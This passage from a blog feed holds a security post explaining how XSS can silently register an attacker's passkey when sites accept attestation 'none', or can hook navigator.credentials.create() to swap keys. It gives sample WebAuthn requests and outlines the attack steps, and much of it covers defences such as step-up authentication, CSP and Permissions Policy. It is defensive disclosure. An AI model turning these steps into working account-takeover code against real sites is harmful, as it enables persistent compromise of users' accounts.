    $server = new WebAuthn(&apos;My App&apos;, &apos;example.com&apos;);</code></pre><p></p><p>There&apos;s a working registration and login demo in <a href="https://github.com/report-uri/passkeys-php?ref=scotthelme.ghost.io" rel="noreferrer">_test/</a> to get you going, and this is currently deployed on the <a href="https://report-uri.com/?ref=scotthelme.ghost.io" rel="noreferrer">Report URI</a> production site so you can always test it there too!</p><p>Passkeys are one of the best things to happen to authentication in years, but only if the server side gets the verification right. That&#x2019;s the part users never see, and the part a library has to get exactly right.</p><p><code>passkeys-php</code> is our attempt to keep that code small, readable, auditable, and safe for the common case. Issues and PRs welcome.</p><p></p>]]></content:encoded></item><item><title><![CDATA[XSS Is Deadly for Passkeys: The Hidden Risk of Attestation None]]></title><description><![CDATA[<p>A single XSS vulnerability can turn passkeys from a phishing-resistant login mechanism into a persistent account takeover backdoor. If malicious JavaScript can run on your page, it may be able to register an attacker-controlled passkey against the victim&#x2019;s account. The user sees nothing, the website records</p>]]></description><link>https://scotthelme.ghost.io/xss-is-deadly-for-passkeys-the-hidden-risk-of-attestation-none/</link><guid isPermaLink="false">69fef8df9c3a0c0001b5ea13</guid><category><![CDATA[XSS]]></category><category><![CDATA[Passkeys]]></category><category><![CDATA[Report URI]]></category><dc:creator><![CDATA[Scott Helme]]></dc:creator><pubDate>Tue, 19 May 2026 12:24:43 GMT</pubDate><media:content url="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/passkeys-xss.png" medium="image"/><content:encoded><![CDATA[<img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/passkeys-xss.png" alt="XSS Is Deadly for Passkeys: The Hidden Risk of Attestation None"><p>A single XSS vulnerability can turn passkeys from a phishing-resistant login mechanism into a persistent account takeover backdoor. If malicious JavaScript can run on your page, it may be able to register an attacker-controlled passkey against the victim&#x2019;s account. The user sees nothing, the website records a successful registration, and the attacker walks away with a valid authentication backdoor.</p><p></p><figure class="kg-card kg-image-card"><a href="https://report-uri.com/?ref=scotthelme.ghost.io"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/report-uri-logo-1.png" class="kg-image" alt="XSS Is Deadly for Passkeys: The Hidden Risk of Attestation None" loading="lazy" width="800" height="70" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/05/report-uri-logo-1.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/report-uri-logo-1.png 800w" sizes="(min-width: 720px) 720px"></a></figure><p></p><p>For an organisation, that means more than &#x201C;someone found XSS&#x201D;. It means identity compromise, persistence, audit-trail ambiguity, regulatory exposure, and a security control that appears to have worked while silently enabling an attacker.</p><p>The uncomfortable truth is that while passkeys do bring amazing benefits, and I think that everyone should use them, there is a dangerous gap in the threat model that&apos;s being overlooked by almost everyone I speak to. This blog post explains the risk, demonstrates how this is possible, and what the effective defences look like.</p><p></p><h3 id="introduction">Introduction</h3><p>Before we get started, if you&apos;d like a brief overview of how passkeys work, you can jump over to my <a href="https://scotthelme.co.uk/passkeys-101-an-introduction-to-passkeys-and-how-they-work/?ref=scotthelme.ghost.io" rel="noreferrer">Passkeys 101 blog post</a>, where I explain the basics. I&apos;m going to assume in this blog post that you understand the concept of passkeys, and we&apos;re going to look at how they work in more detail in this post.</p><p>We also need to establish some terminology to make the rest of this blog post easier to understand:</p><p><strong>Relying Party</strong>: The website or application that stores and verifies a user&apos;s passkey credential for authentication. </p><p><strong>Authenticator</strong>: The user&#x2019;s device or password manager that creates, stores, and uses the private key to prove the user&#x2019;s identity to the Relying Party.</p><p><strong>Attestation</strong>: The mechanism an Authenticator can use during registration to prove what kind of hardware created the credential.</p><p></p><h3 id="how-passkey-registration-works">How Passkey Registration Works</h3><p>When registering a passkey with an RP like Report URI, JavaScript will make a call out to fetch the data it needs:</p><pre><code class="language-js">const optRes = await fetch(&apos;/passkeys/register_get_options/&apos; + getCsrfToken(), { method: &apos;POST&apos; });</code></pre><pre><code class="language-http">POST /passkeys/register_get_options/8f3c1a9e4b2d7f60c5a1e8d2b9f4a7c3 HTTP/1.1
    Host: report-uri.com
    Cookie: session=...
    Content-Length: 0</code></pre><p></p><p>The RP will return a response that looks like this and contains the <code>publicKey</code> object:</p><pre><code class="language-json">HTTP/1.1 200 OK
    Content-Type: application/json
    
    {
      &quot;publicKey&quot;: {
        &quot;rp&quot;: {
          &quot;name&quot;: &quot;Report URI&quot;,
          &quot;id&quot;: &quot;report-uri.com&quot;
        },
        &quot;user&quot;: {
          &quot;id&quot;: &quot;Yi8kP1xqd0Jx3mWZ8Q2vK7nR4tH6sLpA9dF1gE0wXc=&quot;,
          &quot;name&quot;: &quot;[email protected]&quot;,
          &quot;displayName&quot;: &quot;[email protected]&quot;
        },
        &quot;challenge&quot;: &quot;kQ7nR4tH6sLpA9dF1gE0wXc2vK7mZ8Q2Yi8kP1xqd0J&quot;,
        &quot;pubKeyCredParams&quot;: [
          { &quot;type&quot;: &quot;public-key&quot;, &quot;alg&quot;: -8 },
          { &quot;type&quot;: &quot;public-key&quot;, &quot;alg&quot;: -7 },
          { &quot;type&quot;: &quot;public-key&quot;, &quot;alg&quot;: -257 }
        ],
        &quot;timeout&quot;: 60000,
        &quot;authenticatorSelection&quot;: {
          &quot;requireResidentKey&quot;: true,
          &quot;residentKey&quot;: &quot;required&quot;,
          &quot;userVerification&quot;: &quot;required&quot;
        },
        &quot;attestation&quot;: &quot;none&quot;,
        &quot;excludeCredentials&quot;: [
          {
            &quot;type&quot;: &quot;public-key&quot;,
            &quot;id&quot;: &quot;AX9k2mZ8Q2vK7nR4tH6sLpA9dF1gE0wXc...&quot;,
            &quot;transports&quot;: [&quot;usb&quot;, &quot;nfc&quot;, &quot;ble&quot;, &quot;hybrid&quot;, &quot;internal&quot;]
          }
        ]
      }</code></pre><p></p><p>Now that your device has the information it needs, it can create the new passkey and save it, likely showing you some kind of confirmation that requires a PIN, FaceID, TouchID, etc... This is done with the following JavaScript API call that will trigger the interaction with your Authenticator:</p><pre><code class="language-js">const cred = await navigator.credentials.create({ publicKey });</code></pre><p></p><p>If you complete the process, your Authenticator will then store your new passkey. The JavaScript will then build the response to send back to the RP to confirm that everything has been completed and to save the new passkey against the user&apos;s account:</p><pre><code class="language-js">const payload = {
        name: nameInput?.value?.trim() || &apos;&apos;,
        password: passwordInput.value,
        id: cred.id,
        rawId: cred.rawId,
        type: cred.type,
        clientDataJSON: cred.response.clientDataJSON,
        attestationObject: cred.response.attestationObject,
    };
    
    const finRes = await fetch(&apos;/passkeys/register_finish/&apos; + getCsrfToken(), {
        method: &apos;POST&apos;,
        headers: { &apos;Content-Type&apos;: &apos;application/json&apos; },
        body: JSON.stringify(payload),
    });</code></pre><p></p><p>The <code>attestationObject</code> contains the important information, with everything else being mostly metadata. Here&apos;s the content of the <code>attestationObject</code> with the public key being the crucial part:</p><pre><code>attestationObject (CBOR)
    &#x251C;&#x2500; fmt                       &#x2190; attestation format, e.g. &quot;none&quot; / &quot;apple&quot;
    &#x251C;&#x2500; authData                  &#x2190; authenticator data
    &#x2502;  &#x251C;&#x2500; rpIdHash               &#x2190; SHA-256 hash of the RP ID
    &#x2502;  &#x251C;&#x2500; flags                  &#x2190; UP/UV/AT/ED flags, etc.
    &#x2502;  &#x251C;&#x2500; signCount              &#x2190; signature counter
    &#x2502;  &#x2514;&#x2500; attestedCredentialData
    &#x2502;     &#x251C;&#x2500; aaguid              &#x2190; type/model id, not useful for synced passkeys
    &#x2502;     &#x251C;&#x2500; credentialIdLength
    &#x2502;     &#x251C;&#x2500; credentialId        &#x2190; credential is, also surfaced as id/rawId
    &#x2502;     &#x2514;&#x2500; credentialPublicKey &#x2190; COSE-encoded public key
    &#x2514;&#x2500; attStmt                   &#x2190; attestation statement; empty for fmt &quot;none&quot;</code></pre><p></p><p>The RP can now save the public key against the user and we know that this is a passkey they will be able to use to authenticate in the future. The stored record might look something like this:</p><pre><code class="language-json">{
        &quot;id&quot;: &quot;AX9k2mZ8Q2vK7nR4tH6sLpA9dF1gE0wXc&quot;,
        &quot;name&quot;: &quot;Jane&apos;s MacBook&quot;,
        &quot;pem&quot;: &quot;-----BEGIN PUBLIC KEY-----\nMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAE...\n-----END PUBLIC KEY-----\n&quot;,
        &quot;counter&quot;: 0,
        &quot;created&quot;: &quot;2026-05-16T14:22:07+00:00&quot;
    }</code></pre><p></p><p></p><h3 id="how-passkey-authentication-works">How Passkey Authentication Works</h3><p>The process for logging in is equally as simple, with only a couple of steps to successfully authenticate with a passkey. First, the JavaScript must fetch the information required to authenticate from the RP.</p><pre><code class="language-js">const optRes = await fetch(&apos;/passkeys/login_get_options/&apos; + getCsrfToken(), { method: &apos;POST&apos;, credentials: &apos;same-origin&apos; });</code></pre><pre><code class="language-http">POST /passkeys/login_get_options/8f3c1a9e4b2d7f60c5a1e8d2b9f4a7c3 HTTP/1.1
    Host: report-uri.com
    Cookie: session=...
    Content-Length: 0</code></pre><p></p><p>The RP will respond with a <code>publicKey</code> object that contains the required information:</p><pre><code class="language-json">HTTP/1.1 200 OK
    Content-Type: application/json
    {
      &quot;publicKey&quot;: {
        &quot;challenge&quot;: &quot;Vk7nR4tH6sLpA9dF1gE0wXc2vK7mZ8Q2Yi8kP1xqd0J&quot;,
        &quot;timeout&quot;: 20000,
        &quot;rpId&quot;: &quot;report-uri.com&quot;,
        &quot;userVerification&quot;: &quot;required&quot;,
        &quot;allowCredentials&quot;: [
          {
            &quot;id&quot;: &quot;AX9k2mZ8Q2vK7nR4tH6sLpA9dF1gE0wXc&quot;,
            &quot;type&quot;: &quot;public-key&quot;,
            &quot;transports&quot;: [&quot;usb&quot;, &quot;nfc&quot;, &quot;ble&quot;, &quot;hybrid&quot;, &quot;internal&quot;]
          }
        ]
      }
    }</code></pre><p></p><p>You must have some way of telling the RP which user/account is trying to login, and Report URI rely on the user already having completed their email address and password in the first step, but some websites will just ask for your email address. The response that came back from the RP has to have looked up the user&apos;s account, <code>[email protected]</code> in this case, and now provides a list of <code>allowCredentials</code> which are the <code>id</code> values of previously registered passkeys. If you look in the earlier registration steps you can see that we registered a passkey with the <code>id</code> value <code>AX9k2mZ8Q2vK7nR4tH6sLpA9dF1gE0wXc</code> and this has now been returned to us during login as an allowed credential. We can now pass this to the Authenticator using the following JavaScript API call :</p><pre><code class="language-js">const assertion = await navigator.credentials.get({ publicKey });</code></pre><p></p><p>At this point, your Authenticator might ask you for a PIN, FaceID, TouchID or similar, and then the Authenticator is going to sign the challenge with the associated private key it stored earlier during registration, identified using the <code>id</code> provided. This signed challenge can then be returned to the RP to demonstrate possession of the private key:</p><pre><code class="language-js">const payload = {
        id: assertion.id,
        rawId: assertion.rawId,
        type: assertion.type,
        clientDataJSON: assertion.response.clientDataJSON,
        authenticatorData: assertion.response.authenticatorData,
        signature: assertion.response.signature,
        userHandle: assertion.response.userHandle || &apos;&apos;,
    };
    
    const finRes = await fetch(&apos;/passkeys/login_finish/&apos; + getCsrfToken(), {
        method: &apos;POST&apos;,
        credentials: &apos;same-origin&apos;,
        headers: { &apos;Content-Type&apos;: &apos;application/json&apos; },
        body: JSON.stringify(payload),
    });</code></pre><pre><code class="language-json">POST /passkeys/login_finish/8f3c1a9e4b2d7f60c5a1e8d2b9f4a7c3 HTTP/1.1
    Host: report-uri.com
    Content-Type: application/json
    Cookie: session=...
    
    {
      &quot;id&quot;: &quot;AX9k2mZ8Q2vK7nR4tH6sLpA9dF1gE0wXc&quot;,
      &quot;rawId&quot;: &quot;AX9k2mZ8Q2vK7nR4tH6sLpA9dF1gE0wXc==&quot;,
      &quot;type&quot;: &quot;public-key&quot;,
      &quot;clientDataJSON&quot;: &quot;eyJ0eXBlIjoid2ViYXV0aG4uZ2V0IiwiY2hhbGxlbmdlIjoiVms3blI0dEg2c0xwQTlkRjFnRTB3WGMydks3bVo4UTJZaThrUDF4cWQwSiIsIm9yaWdpbiI6Imh0dHBzOi8vcmVwb3J0LXVyaS5jb20iLCJjcm9zc09yaWdpbiI6ZmFsc2V9&quot;,
      &quot;authenticatorData&quot;: &quot;SZYN5YgOjGh0NBcPZHZgW4_krrmihjLHmVzzuoMdl2MdAAAAAA==&quot;,
      &quot;signature&quot;: &quot;MEUCIQD3...base64 of the ECDSA/EdDSA signature...AiEA9k2m&quot;,
      &quot;userHandle&quot;: &quot;T3xq2mP9kZ8Q2vK7nR4tH6sLpA9dF1gE0wXcYi8kP1w=&quot;
    }</code></pre><p></p><p>If the RP can then successfully verify the signature in this payload using the public key it stored during registration, the user trying to log in has proven possession of the private key that&apos;s associated with the stored public key. This means they have now completed authentication with a passkey and you can grant them access to the account. </p><p></p><h3 id="understanding-attestation">Understanding Attestation</h3><p>Attestation is a pretty big deal, but if you go back and look at the registration process when the client called out to <code>/passkeys/register_get_options</code>, you will notice the following in the response sent back by the RP:</p><pre><code class="language-json">{
      ...
      &quot;attestation&quot;: &quot;none&quot;,
      ...
    }</code></pre><p></p><p>Attestation allows your application, the RP, to answer the question &apos;what kind of authenticator am I working with&apos;, and it&apos;s answering that question at a hardware level and getting an answer it can verify. That sounds great, so why is Report URI not requiring that?</p><p>In order for attestation to work, you would first need to get the certificates of all registered authenticators that can produce passkeys. You can grab that information from the <a href="https://fidoalliance.org/metadata/?ref=scotthelme.ghost.io" rel="noreferrer">FIDO Alliance</a> as part of their Metadata Service (MDS3), and it&apos;s just a case of downloading the file and verifying its signature, and then parsing out all of the certificates. You need to do this ~once per month to stay current, and then you can ask for attestation when an authenticator is registering a passkey with your application. </p><p>Attestation is then a signature from the authenticator proving that it&apos;s a genuine authenticator from a particular manufacturer, let&apos;s say a YubiKey. Our application can verify that signature using the certificates that we fetched above and then we can be confident that we&apos;re dealing with a genuine YubiKey. The authenticator will provide an <code>attestationObject</code> that contains an <code>attStmt</code> that looks like this during the registration flow:</p><pre><code class="language-json">&quot;attStmt&quot;: {
      &quot;alg&quot;: -7,                // COSE alg of the signature (e.g. -7 = ES256)
      &quot;sig&quot;: h&apos;3045022100&#x2026;&apos;,    // sig over (authData &#x2016; SHA-256(clientDataJSON))
      &quot;x5c&quot;: [                  // attestation certificate chain, leaf first
        h&apos;308202bd30820&#x2026;&apos;,      // leaf: the authenticator&apos;s attestation cert
        h&apos;30820336308&#x2026;&apos;         // (optional) intermediate CA cert(s)
      ]
    }</code></pre><p></p><p>So why on Earth would we not require attestation when registering a passkey with our application?</p><p></p><h3 id="convenience">Convenience</h3><p>The trade-off nobody mentions! An authenticator&apos;s ability to cryptographically prove what kind of hardware device it is can&apos;t be explained as anything other than a major security win. But that win does come at a cost.</p><p>We pulled the current MDS3 list to take a look at what&apos;s in there and we see the likes of Yubico, Feitian, Thales, Ledger, the platform TPM/Hello authenticators, and many more. The problem is what we didn&apos;t see. 1Password, LastPass, Bitwarden, Dashlane, iCloud Keychain, Google Password Manager, Chrome&apos;s built-in store... This isn&apos;t an oversight from these companies, it&apos;s a design choice. </p><p>The original idea behind passkeys was that the private key would remain locked on a single device, in secure storage like the Secure Enclave, a TPM, or similar. I&apos;d register a passkey against my online account and save it as &quot;Scott&apos;s Laptop&quot;, and that passkey would forever remain on my laptop, securely stored in the TPM (I&apos;m on Windows). This is a tremendous security super-power, but it comes with a trade-off. If I were to lose my laptop, spill a coffee on it, or it failed spectacularly and the <a href="https://en.wikipedia.org/wiki/Magic_smoke?ref=scotthelme.ghost.io" rel="noreferrer">magic smoke</a> got out, I&apos;m in big trouble. I&apos;d now need to have another device somewhere else that already had a passkey registered on my account so I could sign in from that device, otherwise I&apos;m in big trouble. This idea of having to register and manage individual passkeys for each of your devices to be able to access your online account is what drove us in another direction.</p><p></p><h3 id="synced-passkeys">Synced Passkeys</h3><p>Synced passkeys are the architectural polar-opposite of an attestable hardware credential. Instead of storing the passkey in a secure storage medium like the Secure Enclave or TPM, I use 1Password, which stores the private key in my 1Password vault. My vault is then synced across all of my devices, my Windows desktop, my iPhone, my MacBook Pro, my iPad, and more. This offers me a huge amount of convenience because I can register a passkey with an RP a single time, and then login with that passkey across all of my devices, instead of having to register a passkey from each and every device. But that&apos;s the rub... We can&apos;t have meaningful hardware attestation in this process to tell us what type of hardware Authenticator we&apos;re dealing with because the answer to the question &apos;what type of device is this?&apos; will always be &apos;it depends&apos;. There&apos;s no generally useful way for software Authenticators like 1Password and others to do attestation, and this is why we don&apos;t require it on Report URI, because if we did, the vast majority of our users wouldn&apos;t be able to use their preferred method for registering and authenticating with passkeys.</p><p>That tension &#x2014; device attestation vs. synced passkeys &#x2014; is genuinely the crux of this whole blog post.</p><p></p><h3 id="where-it-all-falls-apart">Where It All Falls Apart</h3><p>We now have all the pieces of the puzzle, so let&apos;s put this together and see where it falls apart. Most online services are not going to require Attestation because it would force so many of their users out of being able to use passkeys in their preferred way. But Attestation allows the RP to know that it&apos;s talking to a bona fide Authenticator backed by hardware. Without Attestation we&apos;re just talking to software, we&apos;re talking to code. As it turns out, webpages run code...</p><p>The entire passkey registration and authentication flows that we walked through earlier were driven by JavaScript. To register a new passkey the page will call <code>navigator.credentials.create()</code> and interact with the Authenticator, passing data backwards and forwards. To authenticate with a passkey the page will call <code>navigator.credentials.get()</code> and interact with the Authenticator, passing data backwards and forwards. If we take Attestation out of the picture, you can complete this entire flow in JavaScript without ever even having to involve an Authenticator. Let&apos;s walk through it:</p><p></p><ol>
    <li>
    <p>The JavaScript calls <code>/passkeys/register_get_options/</code> to begin the registration flow as normal.</p>
    </li>
    <li>
    <p>Typically, the JavaScript would now call <code>navigator.credentials.create()</code> to create the new public/private key pair in the Authenticator, instead, we&apos;re going just going to create a new key pair in JavaScript.</p>
    <pre><code class="language-js">const kp = await crypto.subtle.generateKey(
        { name: &apos;ECDSA&apos;, namedCurve: &apos;P-256&apos; }, true, [&apos;sign&apos;]
    );
    </code></pre>
    </li>
    <li>
    <p>We now need to build the payload to send to <code>/passkeys/register_finish/</code> which requires the public key that we just generated, and no attestation data is required. The RP will later only be able to verify that logins are signed by the private key corresponding to this submitted public key; it has not verified that the key was created inside a &apos;real&apos; authenticator.</p>
    </li>
    <li>
    <p>A new passkey has been successfully registered on the user&apos;s account with absolutely <strong>no user interaction required</strong>.</p>
    </li>
    </ol>
    <p></p><p>This might sound crazy, that by simply visiting a page running malicious JavaScript it can register a passkey on your account with absolutely no interaction, but that&apos;s exactly how it works if no other steps are required.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/image-4.png" class="kg-image" alt="XSS Is Deadly for Passkeys: The Hidden Risk of Attestation None" loading="lazy" width="1448" height="1086" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/05/image-4.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/05/image-4.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/image-4.png 1448w" sizes="(min-width: 720px) 720px"></figure><p></p><p>To prove this, I built a few demo pages on the <a href="https://report-uri-demo.com/?ref=scotthelme.ghost.io" rel="noreferrer">Report URI Demo Site</a>, and specifically you want to look at <a href="https://report-uri-demo.com/passkeys/1/?ref=scotthelme.ghost.io" rel="noreferrer">Passkeys Demo 1</a> for this. The very moment that page loads in your browser, the JavaScript payload is going to register a passkey on your account. You can register your own passkey as normal and even sign in with your own passkey, give it a try, but there will always be that second passkey registered by the malicious JavaScript and owned by the attacker.</p><p></p><h3 id="xss-is-now-deadly">XSS Is Now Deadly</h3><p>Having an attacker register their own passkey on your account is a particularly nasty form of account takeover. It is persistent, it looks like a legitimate account-security change, and if passkeys are sufficient to sign in, the attacker now has a clean authentication path back into the account. You are now totally pwned, and, it gets worse. </p><p>Because the passkey registration process is orchestrated by JavaScript, if we&apos;re running malicious JavaScript in the page, we can proxy the WebAuthn API calls between the browser and the Authenticator. The ultimate in-page MiTM attack!</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/image-1.png" class="kg-image" alt="XSS Is Deadly for Passkeys: The Hidden Risk of Attestation None" loading="lazy" width="1448" height="1086" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/05/image-1.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/05/image-1.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/image-1.png 1448w" sizes="(min-width: 720px) 720px"></figure><p></p><p>By hooking and tampering with the <code>navigator.credentials.create()</code> API, we can substitute the values being passed between the browser and the Authenticator. This means that the user will conduct their normal registration process, get a prompt from their Authenticator to create and save a new passkey, but the Authenticator will then <strong>save the wrong passkey</strong>. The Authenticator will save the passkey that it generated, but that was not the passkey sent to the RP, which was substituted for the attacker&apos;s passkey. It now looks like you&apos;ve registered a passkey on the website, you see a passkey in your password manager, the website shows that a Passkey has now been registered on your account, but the passkey the victim has will never work. Only the passkey that the attacker has will work and the reason this work so well is best demonstrated by updating the diagram.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/image-5.png" class="kg-image" alt="XSS Is Deadly for Passkeys: The Hidden Risk of Attestation None" loading="lazy" width="1448" height="1086" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/05/image-5.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/05/image-5.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/image-5.png 1448w" sizes="(min-width: 720px) 720px"></figure><p></p><p>To demonstrate this process, we&apos;ve created <a href="https://report-uri-demo.com/passkeys/2/?ref=scotthelme.ghost.io" rel="noreferrer">Passkeys Demo 2</a>, where you can register a passkey on your account, but the passkey saved on your device will not be the correct passkey. You can then try to sign in with your passkey and observe that, as expected, it doesn&apos;t work, but the attacker can log in with their passkey.</p><p></p><h3 id="the-threat-model-that-matters">The Threat Model That Matters</h3><p>Attestation isn&apos;t being &quot;skipped&quot; out of laziness or a lack of knowledge, it&apos;s a recognition that for a service whose users are spread across every device and every password manager, the strong version of attestation would trade an assurance about device provenance for a very real loss of accessibility. The threat model that matters for us &#x2014; phishing, credential theft, replay &#x2014; is fully addressed by the challenge/origin binding and the signature check provided by synced passkeys. Device attestation doesn&apos;t move that needle, and it&apos;s why we don&apos;t require it.</p><p>Attestation and synced passkeys are fundamentally at odds, and choosing not to attest is what lets your users bring the passkeys that they actually have. If it&apos;s a choice between no Attestation or no passkeys, which are you choosing?</p><p></p><h3 id="defending-against-the-threat">Defending Against The Threat</h3><p>Everyone out there should be using, or aiming to use, passkeys, but we need to acknowledge the risks that exist and take steps to mitigate them. Here is some practical guidance to take away and use to help strengthen your passkeys deployment.</p><p></p>
    <!--kg-card-begin: html-->
    <h4 style="font-size: 2.2rem;">Step up authentication before registration</h4>
    <!--kg-card-end: html-->
    <p>This one can be tricky because I&apos;ve seen many sites using passkeys to replace passwords, but that&apos;s not something we&apos;ve done on Report URI, passkeys are used as a 2FA mechanism. When attempting to register a new passkey on your account, you need the current password for the account to do it. This means that JavaScript can&apos;t silently register a new passkey. You could also require any other 2FA mechanism, a magic-link via email, or any other additional authentication mechanism.</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/image-3.png" class="kg-image" alt="XSS Is Deadly for Passkeys: The Hidden Risk of Attestation None" loading="lazy" width="934" height="445" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/05/image-3.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/image-3.png 934w" sizes="(min-width: 720px) 720px"></figure><p></p>
    <!--kg-card-begin: html-->
    <h4 style="font-size: 2.2rem;">Stop the Malicious JavaScript from running</h4>
    <!--kg-card-end: html-->
    <p>A strong <a href="https://report-uri.com/products/content_security_policy?ref=scotthelme.ghost.io" rel="noreferrer">Content Security Policy</a> is going to go a long way here and the best way to stop this attack is to stop the XSS at the source. You should also use <a href="https://scotthelme.co.uk/subresource-integrity/?ref=scotthelme.ghost.io" rel="noreferrer">Subresource Integrity</a> wherever possible to secure your third-party dependencies. You can see <a href="https://report-uri-demo.com/passkeys/3/?ref=scotthelme.ghost.io" rel="noreferrer">Passkeys Demo 3</a> for what happens when an analytics script goes rogue and starts registering passkeys for your visitors.</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/image-6.png" class="kg-image" alt="XSS Is Deadly for Passkeys: The Hidden Risk of Attestation None" loading="lazy" width="402" height="146"></figure><p></p>
    <!--kg-card-begin: html-->
    <h4 style="font-size: 2.2rem;">Take Control of Powerful APIs</h4>
    <!--kg-card-end: html-->
    <p>Using Permissions Policy, you can take control of which pages on your site, and which third-party scripts you&apos;re loading, have access to the <code>navigator.credentials.create()</code> and <code>navigator.credentials.get()</code> API calls to register a passkey and authenticate with a passkey. In reality, we probably have very few pages on our sites that need to touch passkeys, and probably even fewer third-party scripts that we want to have that capability. This won&#x2019;t stop the direct <code>/register_finish/</code> attack described above, because that attack doesn&#x2019;t need the WebAuthn API, but it does reduce the number of places where malicious JavaScript can interfere with legitimate passkey ceremonies.</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/image-7.png" class="kg-image" alt="XSS Is Deadly for Passkeys: The Hidden Risk of Attestation None" loading="lazy" width="660" height="132" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/05/image-7.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/image-7.png 660w"></figure><p></p>
    <!--kg-card-begin: html-->
    <h4 style="font-size: 2.2rem;">Out-Of-Band Notification on Registration</h4>
    <!--kg-card-end: html-->
    <p>If a new passkey is added to the account of one of your users, you should absolutely be notifying them that this has happened. Send out a notification, via email or any other means, to your user as soon as a new passkey is added to their account. If they were not expecting this to have happened, they can take immediate steps to protect their account.</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/image-8.png" class="kg-image" alt="XSS Is Deadly for Passkeys: The Hidden Risk of Attestation None" loading="lazy" width="717" height="570" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/05/image-8.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/image-8.png 717w"></figure><p></p><h3 id="these-are-problems-that-report-uri-can-solve">These Are Problems That Report URI Can Solve</h3><p>As a specialised client-side protection platform, it stands to reason that Report URI can help you defend against these client-side attacks. I&apos;m going to keep it brief here as the main purpose of this blog post is to highlight the risks above, but this is a topic we&apos;ve done a lot of research on and we can provide some real value.</p><p></p><figure class="kg-card kg-image-card"><a href="https://report-uri.com/?ref=scotthelme.ghost.io"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/report-uri-logo-2.png" class="kg-image" alt="XSS Is Deadly for Passkeys: The Hidden Risk of Attestation None" loading="lazy" width="800" height="70" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/05/report-uri-logo-2.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/report-uri-logo-2.png 800w" sizes="(min-width: 720px) 720px"></a></figure><p></p><ul><li>Get a <a href="https://report-uri.com/products/content_security_policy?ref=scotthelme.ghost.io" rel="noreferrer">Content Security Policy</a> deployed and get real-time feedback from the browser about what&apos;s happening in the page as your visitors see it.</li><li>Use our <a href="https://report-uri.com/solutions/javascript_integrity_monitoring?ref=scotthelme.ghost.io" rel="noreferrer">JavaScript Integrity Monitoring</a> to keep track of your third-party JavaScript dependencies, and when they change. </li><li>Audit the use of Subresource Integrity across your site using <a href="https://report-uri.com/products/integrity_policy?ref=scotthelme.ghost.io" rel="noreferrer">Integrity Policy</a> and keep your JavaScript Supply Chain secure. </li><li>Deploy a <a href="https://report-uri.com/products/permissions_policy?ref=scotthelme.ghost.io" rel="noreferrer">Permissions Policy</a> on your site and lock down the use of powerful JavaScript APIs.</li></ul><p></p><p>We&#x2019;ve also put together a dedicated <a href="https://report-uri.com/solutions/passkeys_protection?ref=scotthelme.ghost.io" rel="noreferrer">Passkeys solutions page</a> and whitepaper for teams who want practical guidance on finding and reducing these risks.</p><p></p><h3 id="conclusion">Conclusion</h3><p>Using <code>attestation: &quot;none&quot;</code> isn&apos;t a problem, it&apos;s a trade-off between security and convenience. The hidden risk is overlooking the threat of a page-level adversary, who is always going to cause you 